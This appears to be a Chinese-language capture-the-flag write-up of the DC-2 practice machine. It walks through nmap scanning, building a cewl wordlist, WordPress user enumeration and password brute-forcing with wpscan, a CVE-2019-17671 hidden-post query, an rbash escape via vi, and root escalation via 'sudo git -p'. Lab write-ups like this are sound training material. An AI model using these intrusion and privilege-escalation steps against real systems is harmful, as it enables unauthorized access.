解完 DC 系列的第二題後,對這個系列還蠻著迷的,主要是整個解題脈絡偏向引導式,讓初心者,剛加入資安領域的朋友們可以透過這樣的方式由淺入深的學習,雖然還是需要一些基本知識,但對於有底子的朋友來說,是一個很好的學習管道。
環境設定
VirtualBox: Kali & DC: 2
Net Config: NAT Network
尋找靶機
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-15 11:10 CST
Nmap scan report for 10.0.2.5
Host is up (0.013s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Did not follow redirect to http://dc-2/
7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
| ssh-hostkey:
| 1024 52:51:7b:6e:70:a4:33:7a:d2:4b:e1:0b:5a:0f:9e:d7 (DSA)
| 2048 59:11:d8:af:38:51:8f:41:a7:44:b3:28:03:80:99:42 (RSA)
| 256 df:18:1d:74:26:ce:c1:4f:6f:2f:c1:26:54:31:51:91 (ECDSA)
|_ 256 d9:38:5f:99:7c:0d:64:7e:1d:46:f6:e9:7c:c6:37:17 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
解題過程
首先連線至 IP 10.0.2.5 會自動導向到 dc-2 的 Domain,但實際上並沒有這筆 DNS 紀錄,所以需要手動設置 Hosts,編輯 /etc/hosts
並設置,接著就可以瀏覽到目標頁面了。
WordPress
經驗夠的話就可直接猜出這是個 WordPress CMS,並且存在 FLAG 的頁面,瀏覽後得到第一個提示。
其中提到 cewl 工具,這工具滿有趣的,會針對頁面上的資訊產生字典檔,我想密碼就藏在 WordPress 文章中的幾個單字。
cewl http://dc-2/ -w dc2_cewl.txt
並在 wp-login.php
找到登入頁面。
此時用 admin 去爆破卻沒解果,想想或許還有什麼可以獲取更多資訊的方法,然後就想到被遺忘的 wpscan
,這個 wordpress 的偵搜神器就這樣被我忘掉了。
wpscan --url https://dc-2/ --enumerate
得到其他幾個使用者 jerry 與 tom,並且透過 wpscan 爆破,得到密碼分別為 adipiscing 與 parturient。
wpscan --url https://dc-2/ -U jerry -P dc2_cewl.txt
接著登入之後,在 Pages 中發現 Flag2 與第二個提示。
CVE-2019-17671
這邊其實還有一個偷吃步,可以透過 CVE-2019-17671 的方法,直接把隱藏文章顯示出來,這個弱點存在於 WordPress v5.2.4 以前。
http://dc-2/?s=&status=1&order=asc
SSH
這邊直覺就是要往 ssh 去嘗試了,還記得們有兩組密碼,這次拿 tom 帳號密碼去登入 ssh,由於他的 Port 改道 7744 去了,所以指令要加個 -p 7744
,不然會用預設 22 Port 連。
ssh [email protected] -p 7744
果不其然,直接就進去了。
Tom
透過 ls 查看到路徑下有 flag3.txt 但卻沒有 cat 可以查看,原因是因為當下的 bash 為 rbash,基本上都嘗試過一輪後,也無法成功跳脫 rbash 的限制,之後發現可以透過指令 compgen -c
來列出可執行的操作指令,其中有發現可以使用 vi,藉此透過 vi 來 Bypass rbash。
vi
:set shell=/bin/bash
:shell
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
主要是透過 vi 去修改 PATH 來提權,這部分不是很清楚原因。
jerry
直接透過 su jerry 切換使用者,並在 jerry 的家目錄下找到 flag4。
根據提示好像是說可以使用 git 提權,使用 sudo -l
發現 git 被設置 (root) NOPASSWD: /usr/bin/git
,意指該帳戶使用 git 指令為 root 權限,並且不需要密碼,透過以下指令提權並取得 root。
sudo git -p
:/bin/bash
Final-flag.txt
感謝
2021-01-30 感謝同事糾正內容錯誤